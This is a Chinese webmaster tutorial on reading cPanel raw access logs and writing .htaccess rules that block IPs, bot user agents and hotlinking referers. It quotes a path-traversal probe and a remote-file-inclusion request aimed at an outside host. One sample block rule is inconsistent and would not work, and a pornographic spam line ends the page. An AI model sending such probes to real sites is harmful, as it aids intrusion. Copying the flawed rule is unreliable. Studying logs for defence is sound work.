• 虛擬主機cPanel面板查看服務器的訪問日志
    作者:一佰互聯 2019-04-19   瀏覽:487
    相信大家都在自己的網站上安裝了網站統計的代碼,如Google analytics、量子統計、百度統計、cnzz、#等,這些工具可以統計網站的流量,也就是網站上訪客可看到的所有頁面的訪問量,但是這些統計工具都不能統計你主機上資源的原始訪問信息,例如某個圖片被誰下載了。

    絕大多數收費主機都提供原始訪問日志(Raw Access Log),網站服務器會把每一個訪客來訪時的一些信息自動記錄下來,保存在原始訪問日志文件中,如果你的主機不提供日志功能,建議你到期后還是換主機吧。日志中記錄了網站上所有資源的訪問信息,包括圖片、CSS、JS、FLASH、HTML、MP3等所有網頁打開過程載入的資源,同時記錄了這些資源都被誰訪問了、用什么來訪問以及訪問的結果是什么等等,可以說原始訪問日志記錄了主機的所有資源使用情況。

    如果你的網站遭到了攻擊、非法盜鏈和不良請求等,通過分析原始訪問日志能大概分析出端倪來,例如:今年年初我往我的主機上傳了一個mp3,不幸被百度mp3收錄,引來大量的盜鏈,導致我的主機流量猛增,雖然這對我并無大礙,但是心里不爽!通過分析日志,我找出了問題根源,刪除了那個mp3,主機流量也降下來了。

    不同主機使用的面板不太一樣,所以查看原始訪問日志的方法也不太一樣,但是日志記錄的格式都是一樣的,具體查看原始訪問日志的方法請咨詢相關主機客服。下面是cPanel面板,通過點擊紅色方框中的按鈕,接著選擇你的網站域名,即可下載原始訪問日志,使用文本編輯器打開即可查看:

    原始訪問日志每一行就是類似以下的記錄:

     

    64.10.90.61 - - [04/Mar/2001:11:47:26 -0600] "GET /intro.htm HTTP/1.1" 200 13947 "http://www.yourdomain.com/" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

     

    下面我們來說說這一行記錄的意思:

    64.10.90.61

    這是訪客(也可能是機器人)的IP

    [04/Mar/2001:11:47:26 -0600]

    這是訪客訪問該資源的時間(Date),-0600是該時間所對應的時區,即與格林威治時間相差-6個小時

    GET /intro.htm HTTP/1.1

    請求信息,包括請求方式、所請求的資源以及所使用的協議,該語句的意思就是以GET方式,按照HTTP/1.1協議獲取網頁/intro.htm,intro.htm為網站上的某個網頁。

    200 13947

    200為該請求返回的狀態碼(Http Code),不同的狀態碼代表不同的意思,具體請閱讀 HTTP 狀態代碼;13947為此次請求所耗費的流量(Size in Bytes),單位為byte

    http://www.yourdomain.com/

    為訪客來源(Referer)。這一段是告訴我們訪客是從哪里來到這一個網頁。有可能是你的網站其他頁,有可能是來自搜索引擎的搜索頁等。通過這條來源信息,你可以揪出盜鏈者的網頁。

    Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)

    為訪客所使用的瀏覽器類型(Agent),這里記錄了用戶使用的操作系統、瀏覽器型號等

    看了以上說明,可能你也大概知道每一行記錄到底記錄了一些什么東西,可以開始獨立分析你的網站原始訪問日志了,但是叫你直接看這些雜亂的日志,相信你會很抓狂,不愿意干。cPanle面板中的“Latest Visitors”提供一種格式化后日志查看方式,看起來比較舒服一些:

    上圖中Host: 218.17.120.205 為訪客的IP,可看出該訪客在當前時間段發起了三個請求,對應原始訪問日志中的3行記錄,紅色標出的部分為訪客請求的資源(也就是訪客流量的網頁等),其他部分參見以上說明。“Latest Visitors”中只能顯示最近300個IP的訪問信息,這里我寫了一個原始訪問日志的格式化工具,可將原始訪問日志格式化成上圖所示格式,方便閱讀,工具地址:http://ludou.co.tv/logreader/

    以上介紹了如何查看原始訪問日志,現在我們來談談如何分析日志中的內容:

    1、注意那些被頻繁訪問的資源

    如果在日志中,你發現某個資源(網頁、圖片和mp3等)被人頻繁訪問,那你應該注意該資源被用于何處了!如果這些請求的來源(Referer)不是你的網站或者為空,且狀態碼(Http Code)為200,說明你的這些資源很可能被人盜鏈了,通過 Referer 你可以查出盜鏈者的網址,這可能就是你的網站流量暴增的原因,你應該做好防盜鏈了。請看下圖,我網站上的japan.mp3這個文件就被人頻繁的訪問了,下圖還只是日志的一部分,這人極其險惡,由于我早已將該文件刪除,它遲遲要不到japan.mp3,在短短一個小時內對japan.mp3發起了不下百次的請求,見我設置了防盜鏈就偽造來源Referer和Agent,還不斷地更換IP,很可惜它做得都是無用功,根本沒有這個文件,請求的狀態碼Http Code都是403或者404

    2、注意那些你網站上不存在資源的請求

    例如下圖的4個請求信息。/admin/editor/db/kmoxewebeditor.mdb等幾個資源都是不是本站的資源,所以Http Code不是403就是404,但從名稱分析,可能是保存數據庫信息的文件,如果這些信息讓別人拿走,那么攻擊你的網站就輕松多了。發起這些請求的目的無非就是掃描你的網站漏洞,通過漫無目的地掃描下載這些已知的漏洞文件,很可能會發現你的網站某個漏洞哦!通過觀察,可以發現,這些請求所使用的Agent差不多都是Mozilla/4.0、Mozilla/5.0或者libwww-perl/等等非常規的瀏覽器類型,以上我提供的日志格式化工具已經集成了對這些請求的警報功能。我們可以通過禁止這些Agent的訪問,來達到防止被掃描的目的,具體方法下面再介紹。

    常見的掃描式攻擊還包括傳遞惡意參數等:

     

    //header.php?repertoire=../../../../../../../../../../../../../../../proc/self/environ%00
     /?_SERVERDOCUMENT_ROOT=http://wdwinfo.ca/logs/.log?

     

    3、觀察搜索引擎蜘蛛的來訪情況

    通過觀察日志中的信息,你可以看出你的網站被蜘蛛訪問的頻率,進而可以看出你的網站是否被搜索引擎青睞,這些都是SEO所關心的問題吧。日志格式化工具已經集成了對搜索引擎蜘蛛的提示功能。常見搜索引擎的蜘蛛所使用的Agent列表如下:

    Google蜘蛛

    Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

    Baidu蜘蛛

    Baiduspider+(+http://www.baidu.com/search/spider.htm)

    Yahoo!蜘蛛

    Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)

    Yahoo!中國蜘蛛

    Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)

    微軟Bing蜘蛛

    msnbot/2.0b (+http://search.msn.com/msnbot.htm)

    Google Adsense蜘蛛

    Mediapartners-Google

    有道蜘蛛

    Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )

    Soso搜搜博客蜘蛛

    Sosoblogspider+(+http://help.soso.com/soso-blog-spider.htm)

    Sogou搜狗蜘蛛

    Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

    Twiceler爬蟲程序

    Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html)’

    Google圖片搜索蜘蛛

    Googlebot-Image/1.0

    俄羅斯Yandex搜索引擎蜘蛛

    Yandex/1.01.001 (compatible; Win16; I)

    Alexa蜘蛛

    ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)

    Feedsky蜘蛛

    Mozilla 5.0 (compatible; Feedsky crawler /1.0; http://www.feedsky.com)

    韓國Yeti蜘蛛

    Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/)

    4、觀察訪客行為

    通過查看格式化后的日志,可以查看跟蹤某個IP在某個時間段的一系列訪問行為,單個IP的訪問記錄越多,說明你的網站PV高,用戶粘性好;如果單個IP的訪問記錄希希,你應該考慮如何將你的網站內容做得更加吸引人了。通過分析訪客的行為,可以為你的網站建設提供有力的參考,哪些內容好,哪些內容不好,確定網站的發展方向;通過分析訪客的行為,看看他們都干了些什么事,可以揣測訪客的用意,及時揪出惡意用戶。

    以上只是我個人總結出來的一些小技巧,可以簡單的分析你的日志內容,畢竟我個人見識還是比較短淺,還不能全面地進行日志分析。在cPanel主機控制面板中,還提供了awstats和webalizer兩個日志分析工具,它們都是以原始訪問日志為基礎進行分析,功能強大且豐富,你可以一試,不懂的可以咨詢主機客服。

    應敵之策

    上面說了如何分析你的日志,下面我們來講講如何御敵于前千里之外。我們這里以Linux主機的.htaccess編寫為例來講解如何防范惡意請求。

    1、封殺某個IP

    如果你不想讓某個IP來訪問你的網站,可以將其封殺。封殺防范有二:其一,在cPanel面板中有個Security – IP Deny Manager,點擊進去填上要封殺的IP即可;其二,在.htaccess中加入以下語句,即可封殺這兩個IP 123.165.54.14、123.165.54.15,以及123.165.55這個IP段,多個同理:

     

    deny from 123.165.54.14
    deny from 123.165.54.15
    deny from 123.165.55

     

    2、封殺某個瀏覽器類型(Agent)

    通常情況下,如果是使用機器人來掃描或者惡意下載你的網站資源,它們使用的Agent差不多都是一個類型,例如我上面所說的Mozilla/4.0、Mozilla/5.0或者libwww-perl/等。你可以封殺某個Agent,來達到防范攻擊的目的。在.htaccess中添加以下規則:

     

    SetEnvIfNoCase User-Agent ".*Firefox/3.6.3.*" bad_agent

    <Limit GET POST>
    Order Allow,Deny
    Allow from all
    Deny from env=bad_agent
    </Limit>

     

    以上規則封殺了Agent中含有Firefox/3.6.3的來源,也就是包括以下例子的Agent將無法訪問你的網站:

    Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3

    以上只是個例子,切不可用于你的網站,否則使用Firefox 3.6.3的用戶就不可以訪問你的網站了,訪問結果Http Code都是403,他們看到都是403頁面,也就是禁止訪問頁面。這里讓我來教你如何編寫封殺的規則,以上語句SetEnvIfNoCase User-Agent ".*Firefox/3.6.3.*" bad_agent指定了要封殺的規則,核心語句 ".*Firefox/3.6.3.*" 用于匹配含有 Firefox/3.6.3 的來源,寫法見正則表達式的寫法,這里給出幾個正則例子,你可以套用:

      通過上表,你差不多也知道了個大概,在正則式子中,所有點 . 一概寫成 . ; ^用于匹配開頭, $用于匹配結尾;.* 用于匹配任意長度的字符(包括長度為0的),下面是一個完整例子,你可以套用,相信你也可以寫出自己的規則:

     

    ## Block Bad Bots by user-Agent
    SetEnvIfNoCase User-Agent "^libwww-perl" bad_agent
    SetEnvIfNoCase User-Agent "^Mozilla/4.0$" bad_agent
    SetEnvIfNoCase User-Agent "^Mozilla/5.0$" bad_agent
    SetEnvIfNoCase User-Agent "^$" bad_bot

    <Limit GET POST>
    Order Allow,Deny
    Allow from all
    Deny from env=bad_bot
    </Limit>

     

    3、封殺某個來源(Referer)

    如果某個網站頻繁地對你網站進行盜鏈,且不聽勸,那你可以通過禁止它的Referer,來達到防盜鏈目的,下面舉個例子來禁止http://www.google.com這個網站對你網站的盜鏈,正則的編寫跟上面的無異,在.htaccess中添加以下規則:

     

    SetEnvIf Referer "^http://www.google.com" bad_referer

    <filesmatch ".(jpg|gif|png|css|js|bmp|mp3|wma|swf)">
    Order Allow,Deny
    Allow from all
    Deny from env=bad_referer
    </filesmatch>

     

    4、防盜鏈

    通過對來源(Referer)的判斷,使用以下代碼可以達到簡單的防盜鏈。以下列出的網址,允許訪問你網站上后綴名為jpg|gif|png|css|js|bmp|mp3|wma|swf的文件,其余網站全部禁止訪問這些文件,正則的寫法與上面說的相同,你可以將其中的域名稍作更改,然后應用于你的網站,在.htaccess中添加以下規則:

     

    SetEnvIf Referer "^http://www.ludou.org/" local_referer
    SetEnvIf Referer "^http://cache.baidu.com/" local_referer

    # 將以下語句中的 # 去除,即可允許Referer為空的請求,一般設置允許為好
    # SetEnvIf Referer "^$" local_referer

    <filesmatch ".(jpg|gif|png|css|js|bmp|mp3|wma|swf)">
     Order Deny,Allow
     Deny from all
     Allow from env=local_referer
    </filesmatch>

     

    5、文件重命名

    即使你網站上的資源被人盜鏈了,通過文件重命名,同樣可以達到防盜鏈的目的,畢竟盜鏈者不知道你改了文件名,它也不會整天監視你的文件。

    總結

    不管怎么說,有防的就有攻,攻防永遠都是一對冤家,這樣的拉鋸永遠都不會終止。以上介紹的方法只能達到簡單防范的目的,如果有人有意要攻擊你的網站,那點東西起不了太大作用,我們只能根據敵手出的招,見招拆招才能免于不測,這樣的能力,還需各位站長慢慢學習積累,畢竟做個網站也不是那么簡單的。

    原文地址:http://www.ludou.org/learning-how-to-analyse-raw-access-log.html

    用戶中心
    一佰互聯
    91小仙女思妍丝袜,免费中文字幕无码视频,黑色丝袜老师自慰喷水动态图